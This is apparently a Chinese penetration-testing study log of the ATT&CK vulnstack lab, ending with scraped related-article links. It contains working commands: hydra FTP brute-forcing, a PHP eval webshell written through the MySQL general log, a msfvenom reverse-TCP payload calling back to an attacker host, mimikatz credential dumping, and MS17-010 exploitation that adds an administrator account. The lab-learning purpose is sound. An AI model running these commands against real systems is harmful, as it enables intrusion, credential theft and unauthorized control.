ATTCK 1一个烂尾的学习记录
这篇文是我翻草稿发现不知道什么时候写的,只写到一半虚拟机都删除了,但是既然写都写了,凑合看一看
文章目录
- 配置
- 开始渗透
- 拿下 win7
- 举例 ftp
- 尝试文件上传
- 大小写绕过
- 空格绕过
- 点绕过
- ::$DATA 绕过
- 尝试 sql 写文件
- 提权
- 横向渗透
配置
三个主机都设置为VMnet1
(仅主机模式)
win7
单独添加一个虚拟网卡,设置为 NAT
模式,用于和物理机连通
关闭 win7
防火墙!(关于防火墙不太懂需要怎么设置就全关了,需要的时候再开)
win7
phpstudy
搭建 yxcms
,至此,环境搭建完成
设置 win7
为固定的 IP
开始渗透
思路很清晰,通过和外网互通的 win7
主机上的 cms
拿到初步的权限,进行权限提升,然后再通过 win7
信息收集,拿到win2008
和win2003
的服务器
拿下 win7
安装完有前台和后台页面,前台页面简单看了一圈,有比较熟悉的留言板和搜索框,剩下的就是文章和图片的展示,交互功能比较少,而且后台没有账号密码,查询一下官网的安装手册
默认账号密码 admin/123456
,尝试登录,成功,那么怎么拿下主机的控制权呢?
① 传后门(一句话木马之类)连 abc(蚁剑冰蝎菜刀),然后提权上线 cs/msf
因为一般这个后门是需要通过 http 服务访问网站后门文件的,所以叫 webshell
,shell 就是交互式命令行类似 cmd
② 直接远程连接 类似 3389 ,ssh,远控软件等
举例 ftp
为了方便不了解的同学直观的理解(可以直接跳过,这块写完发现没地方放了只好插到这篇文章里),举个例子,扫描端口时发现 21 端口存在 ftp
服务
暴破口令(我这里是直接扫描出的弱口令,所以对于工具使用只做演示)
hydra targetIP ftp -L username.txt -P password.txt -V
登录
ftp://admin:admin@ip:21 //扫描结果: 用户名/密码/ip/端口
可以查看文件 dir/ls
ftp
服务一般都是和网站绑定的,可以通过 http
访问上传的文件,连接后门,上传个一句话木马,使用 put 命令
连接后怎么进行下一步呢?右键打开虚拟终端
之前讲 cs 入门时可以执行 powershell 命令上线主机
上线成功,因为都是自己本机搭的环境(前面扫描的是蜜罐就不演示了),权限都很高的,ftp 可以执行所有操作,shell 用户是我本机用户,非一般服务器默认的 http 低权限用户
删除后门就 delete
,清理一下自己的痕迹,下一步就是通过这个主机进一步渗透内网,大致了解了这个过程,我们再继续看 cms,能否找到一些突破点
后台的权限功能一般都比前台多,更容易找到突破点,所以先从后台下手
尝试文件上传
发现后台有上传文件功能,可以尝试上传木马
编辑器点击上传图片和添加链接两个功能时没有反应,上传文章封面图片会上传到指定目录并重新命名,前台没有显示(没看到),直接上传 php 文件会被过滤
判断如何过滤:上传正常图片,修改文件后缀名为 php
,上传失败,证明检查了后缀名
能否绕过? 百度一下
大小写绕过
失败
空格绕过
加空格正常解析,可以绕过.php
类的完全匹配 失败
点绕过
windows
解析文件会自动去掉文件名最后的点 xx.php.==xx.php
失败
::$DATA 绕过
windows 会将它当作文件流处理 不会检测后缀名 且解析后的名字没有 ::$DATA
,失败
在测试时,发现请求一旦抓包,只要修改了文件名,即使是同样的名字,a.jpg->a.jpg
,都会提示非法图像文件,不修改则会正常上传
我实在是想不明白,即使前端发包时记录了文件指纹做对比,那修改成一模一样的,为什么还会显示非法图像呢?
看了源码发现是白名单比较了后缀名,但是不应该是改文件名的时候出现非法图像的提示,换了 kali 的 burp 发包就没有这种错误,这种白名单一般要配合文件包含漏洞利用,不想深究浪费时间了,看别的
尝试 sql 写文件
sql
可以增删改查,写文件自然不在话下,一般获取 shell
的方法就是就是写一句话木马
用的就是 select into outfile
语句,我们知道网站的绝对路径,默认打开的探针页面就有显示,因为我们的木马必须要自己能访问到才能谈下一步,而一般服务器只有 web 目录我们能访问,所以需要找到类似于如下的 web 目录,默认 mysql
写文件是自己的目录,我们不能通过 http
访问
尝试写文件,报错,语句不确定是否正确,在服务器 mysql 命令行尝试写入,失败,原因是 secure-file-priv
选项配置不允许写入
前端查看该选项 show variables like '%secure%'
,看不到查询记录,该值为 null
在探针页面有 mysql
连接接口,直接一个弱口令 root/root
连接成功,一般的 phpstudy
用 phpMyAdmin
管理数据库,dirsearch
扫描目录,登录 phpMyAdmin
phpMyAdmin
getshell 常规思路也是写入后门文件,但是没有导出权限,另一个方法就是利用日志写文件
首先查看日志是否开启 show variables like '%general%'
,已经开启了
general_log_file
是日志写到哪个文件,我们将其设置为 web 目录下的 php 文件,然后写入的日志语句为一句话木马,即可达到目的
set global general_log_file="C:/phpStudy/WWW/log.php"
可以看到已经创建了文件
我们尝试执行
select 100
可以在文件末尾看到记录
写入一句话
SELECT '<?php eval($_POST[cmd]);?>'
成功连接 win7
cs 上线,powershell commond
没有反应,不太清楚什么原因,防火墙都是关闭的,都能正常 ping
通,换个方法,cs 生成 exe 木马,上传执行,可以成功上线 win7
使用 msfvenom
生成木马,kali ip 是 128,生成直接被杀毒软件杀了,看来 cs 生成的还是比较好一点的,设置信任该木马程序
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.159.128 LPORT=1234 -b"\x00" -e x86/shikata_ga_nai -f exe > msf.exe
msf 建立监听,配置选项,执行
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.159.128
set LPORT 1234
exploit
win7 运行 exe 文件,msf 获取到会话
提权
我们上一步获取到的都是会话,cs 或 msf 只是为了方便进一步渗透
拿到 shell
下一步就是提权,先查看权限,就是管理员权限,很高权限了,最高权限是 system 权限
因为我们已经获取了 msf
的会话,直接 getsystem
获取系统权限(因为最终目的只是为了了解内网测试的流程,所以不会有什么阻碍)
这个 getsystem 是什么呢?
/*!
* @brief 尝试使用多种技术将当前的 Meterpreter 提升到本地系统。
* @details 此函数尝试使用多种技术获取系统级权限。
* 如果调用者没有指定特定的技术,那么所有已知的技术都是
* 按顺序尝试,直到成功。
* @return 表示成功或失败。
* @retval ERROR_SUCCESS 提升到 `SYSTEM` 成功。*/
这个命名管道(named pipe)blabla 又是什么东西呢?说一下我的粗浅理解以及查阅的知识
命名管道连接两个进程,被连接的叫服务端,连接的叫客户端,服务端可以模仿客户端的权限
方法 1 是通过 msf 创建一个命名管道,我们作为服务端等待连接,然后创建一个系统服务(必须是管理员权限且没有uac),该服务会运行 cmd ,cmd 作为命名管道客户端连接,因为系统服务默认是 system 权限,它创建的进程也是 system 权限,连接后我们就可以获取到该进程的同等 system 权限
方法 2 也差不多,不同之处在于是通过写入 dll 文件,然后通过 rundll32.exe 来运行 dll 文件创建命名管道
方法 3 这个方法假设 Meterpreter 进程拥有 SeDebugPrivilege 权限(可以使用
getprivs
命令来获得),它首先遍历所有服务,寻找一个以 System 权限运行并且我们有向其中注入的权限,然后使用 dll 反射注入来运行 elevator.dll,该 DLL 会获取被注入进程的 System 权限的 token,然后将它赋予 Meterpreter 的一个线程。只能在 x86 环境下运行
方法 4 没看到说明
总之,一键提权后,下一步就是横向渗透
横向渗透
检查一下当前环境是否为虚拟机,虚拟机或者 docker
很有可能就是蜜罐什么的
meterpreter> run post/windows/gather/checkvm
查看打了哪些补丁,按两下 tab 键查看匹配的命令,打了补丁对应的漏洞就没法利用
meterpreter> run post/windows/gather/enum_patches
msf 的脚本目录
/usr/share/metasploit-framework/scripts/meterpreter
这时 cat
查看又是乱码,因为 windows
默认gbk
编码,需要转换一下,命令还不算太长
cd .msf4/logs/scripts/scraper/日志目录
iconv -f gbk -t utf-8 users.txt
或者安装终端终结者,右键选择 gbk 编码,一劳永逸
apt-get install terminator
还可以安装 rlwarp
工具,可以上下键调用历史命令
apt-get install rlwrap
rlwrap msfconsole
抓取 hash 值,hash 值是密码 hash 加密后的值,如果能破解就可尝试安全登录,不怕杀软
meterpreter> run windows/gather/credentials/windows_autologin
meterpreter> hashdump
但是 LM、NTML 两种值都是空,这应该是失败了,我们的账号都是有密码的
上传 mimikatz
程序,该程序是抓取明文密码的工具(msf 现在是 kiwi)
execute -i -f mimikatz_trunk/x64/mimikatz.exe
进入 mimikatz
执行界面(注意路径)
该程序需要管理员权限执行
privilege::debug // 获取高权限读取密码(已经是sysytem权限了)
sekurlsa::logonpasswords // 获取密码
读取到管理员的明文密码和所在域名,god 域,因为密码设置的较为复杂,hash
无法解密出来,有了密码很容易想到尝试远程桌面连接,一般远程管理我平时都用 todesk
和 mobaxterm
,msf
里面也有脚本开启远程桌面服务
meterpreter> run post/windows/manage/enable_rdp
成功开启
直接用域用户登录,用户名:god/Administrator
,密码:上一步的密码,但是在主机会看到记录,而且一个用户只能一个人登录,我们一旦连接管理员用户就会注销,这也太明显了
创建一个登录用户,登录
run getgui -u testtest -p Testpass@3344
rdesktop -u testtest -p Testpass@3344 192.168.159.129
没有远程登录的权限,有没有脚本将其添加到远程桌面组这就不清楚了,略过
不登录的状态还可以截图
screenshot
所谓横向渗透,思路也是一样的,拿到一台主机,可以探测其它主机,然后收集信息,进行渗透,无非也是那些东西…
那么第一个问题,就是探测当前网络环境,有哪些存活设备可供我们继续渗透的
查看网段信息
meterpreter > run get_local_subnets
扫描网段主机
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.52.0/24
kali
是无法和域内主机相连的,如果我们用 nmap 直接扫描是行不通的
我们先给 msf
配置路由,一条报文如果想发出去,必须确保是完整的报文,这也就是说它的源 ip、源 mac、目的 ip、目的 mac 必须是有的,然后还要根据它的目的 ip 匹配路由表,确定要从哪个网卡发出,有了这些,报文就会从网卡发出去,配置了路由表后,由 msf 作为网关进行数据转发,下一步还是利用win7
本身的网络(猜测)
meterpreter > run post/multi/manage/autoroute
扫描开放端口,用自带脚本,可以连通 52 网段,不配置路由也是行不通的
background // 后台挂起会话
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.138
set ports 135,445,80,22,3389
set threads 30
exploit
虽然能用脚本对内网主机进行测试,但是还是无法用其它工具比如 nmap,sqlmap
…工具,此时我们可以使用代理,还是使用 msf
做一个 socket
代理,使得我们本机的流量也可以走 msf
会话通道(当然 msf
是配置完路由的状态),background
挂起会话
use auxiliary/server/socks_proxy
set srvport 1888
set srvhost 127.0.0.1
set version 4a
exploit
自动后台运行,编辑配置文件
root@kali# vi /etc/proxychains4.conf
最下面添加代理配置
然后测试使用 nmap,因为无法代理 icmp 流量,所以要加上 -Pn和-sT
这个限制很多
root@kali# proxychains nmap -sT -sV -Pn -n -p22,80,135,445 --script=smb-vuln-ms08-067.nse 192.168.52.141
我们还使用了一个脚本,检测 ms08-067
的,因为目标机器是 win2003
,所以很有可能存在这个漏洞,验证存在该漏洞
尝试使用 msf 脚本攻击
proxychains rlwrap msfconsole // 继续用之前的代理
search 08_067
use...
show targets
set target xx
...
失败了,可能是配置原因,也可能是防火墙?没看到在哪检查,换一个 ms17_010
,因为这两个漏洞都比较经典,提的比较多
admin/smb/ms17_010_command 是 17_010
命令执行的利用模块,不出意外又失败了,但是在尝试 win2008
时成功了
ms17_010
有四个相关模块,0 执行成功的话会返回一个 meterpreter
会话
use exploit/windows/smb/ms17_010_eternalblue
set...
set payload windows/meterpreter/reverse_tcp
show targets // 设置目标机器型号
set target 3
run
攻击可能是攻击了,但是没有建立会话
查阅资料后发现,这种情况很普遍,没什么好的解决办法,比较推荐的就是使用原生 fb.py
利用,看完觉得配置比较复杂,需要 python
环境还要上传 n 多脚本到服务器…我们选择曲线救国,使用command
脚本新建用户到管理员组
use auxiliary/admin/smb/ms17_010_command
set...
set command net user testtest Aa123456!@# /add
run
set command net localgroup administrators testtest /add
run
执行成功,我这里直接是 system 权限,注意创建用户的用户名密码要符合复杂度规则,不要用过于简单的,否则无法成功
开启远程桌面,然后连接,kali 终端叹号需要转义
msf6 auxiliary(admin/smb/ms17_010_command) > set command wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1
msf6 auxiliary(admin/smb/ms17_010_command) > run
proxychains rdesktop 192.168.52.138
登录 god 域创建的 testtest 用户,域的特殊之处在于域管理员能登录域内的任意一台主机,但是管理员并不能为所欲为
后面就没了…
ATTCK 1一个烂尾的学习记录相关推荐
- FreeRTOS学习记录
FreeRTOS学习记录 前言 FreeRTOS学习记录 在STM32CubeMX中配置FreeRTOS 前言 本人小白,最近学习了FreeRTOS操作系统,打算做一点记录. 学习的过程中虽然做了点练 ...
- 国家电网SAP 烂尾悬疑
三年前,国家电网信息化工程出台,SAP以20亿元高价蹊跷中标.三年后,该项目不仅推广不利,更落下"用了很痛苦"的评语.这个国内公司仅用1/3价格就可中标的项目,正陷入"烂 ...
- [Python学习]PycURL简单学习 - limodou的学习记录 - limodou是一个程序员,他关心的焦点是Python, DocBook, Open Source …...
[Python学习]PycURL简单学习 - limodou的学习记录 - limodou是一个程序员,他关心的焦点是Python, DocBook, Open Source - [Python学习] ...
- Linux系统学习:网络指令:如何查看一个域名有哪些 NS 记录
Linux 中提供了不少网络相关的指令,因为网络指令比较分散,本课时会从下面几个维度给你介绍,帮助你梳理常用的网络指令: 远程操作: 查看本地网络状态: 网络测试: DNS 查询: HTTP. 这块知 ...
- git缓冲区查看_git原理学习记录:从基本指令到背后原理,实现一个简单的git
好家伙~ 实操可以考虑点击阅读原文跳转到博客地址,博客可以点超链接可能会方便一些. 一开始我还担心 git 的原理会不会很难懂,但在阅读了官方文档后我发现其实并不难懂,似乎可以动手实现一个简单的 gi ...
- git原理学习记录:从基本指令到背后原理,实现一个简单的git
一开始我还担心 git 的原理会不会很难懂,但在阅读了官方文档后我发现其实并不难懂,似乎可以动手实现一个简单的 git,于是就有了下面这篇学习记录. 本文的叙述思路参照了官方文档Book的原理介绍部分 ...
- 学习记录贴:上班摸鱼做一个看lol文字直播的小工具
学习记录贴:上班摸鱼做一个看lol文字直播的小工具 前言 运行图 流程及思路 项目及代码 总结 前言 本人纯新手小白,上班练手. 致谢: 基于Python命令行的NBA文字直播小工具. 运行图 流程及 ...
- 2023.2.3,周五【图神经网络 学习记录17】二部图——BiNE算法:显式关系,隐式关系;新的随机游走方式 特点:随机游走次数 是跟节点中心性相关的,在随机游走的过程中 添加一个停止随机游走的概率
声明:仅学习使用~ 前情提要: 2023.2.2,周四[图神经网络 学习记录16]异构图Graph Embedding算法--GATNE(异构图多属性 多边 类型算法),不建议普通PC跑-PyChar ...
- Essential C++学习记录笔记整理35(定义一个派生类)
目录 派生类: 一些机制的说明 纯虚函数和虚函数的补充 类继承的一些原则和注意(对于继承过来的数据成员/成员函数) 跳过虚函数机制 派生类同名成员优先被调用机制 如何在派生类调用基类的成员函数(该成员 ...
- Geek 02 学习记录 (实现一个最简单内核)
02 实现一个最简单内核的学习记录 1. 分区表 GPT 和 DBR 的区别 主引导扇区:硬盘的0柱面.0磁头.1扇区(也叫主引导记录MBR),大小为512Byte. 分区表(DPT):位于主引导分区 ...
最新文章
- 模型树——就是回归树的分段常数预测修改为线性回归 对于非线性回归有较好的预测效果...
- Qt + VS 【如何添加图片资源】
- OpenCV2.4.13在VS2012环境的debug模式下的链接库输入配置的文件目录
- HDU - 6625 three arrays (Trie+dfs)
- CyanogenMod源码编译模拟器
- php 如何实现关键字查找,php中如何通过关键字查找文件中包含该关键字的所有行内容呢...
- biginteger和long精度_修复Long类型太长,而Java序列化JSON丢失精度问题的方法
- MUI 图标显示不出来 - 分析篇
- NBU客户端安装(linux和windows)
- 项目管理---SVN,Subversion的安装,客户端和服务端
- 原生交互(mPass)
- 透过安全事件看软件组成分析SCA
- 财务自由的日子,我抑郁了
- python播放全网视频+打包成exe
- 竟然有这种榜单,程序员真的是又有爱又无聊
- 计算机网络病毒防范,计算机网络病毒的十项防范措施
- 网络共享里的计算机无法打开,局域网共享文件夹打不开怎么办
- 图片base64编码的前端展示及后端解码,编码
- html背景图片自适应窗口大小
- 视频垂直翻转播放的效果,如何同时制作多个视频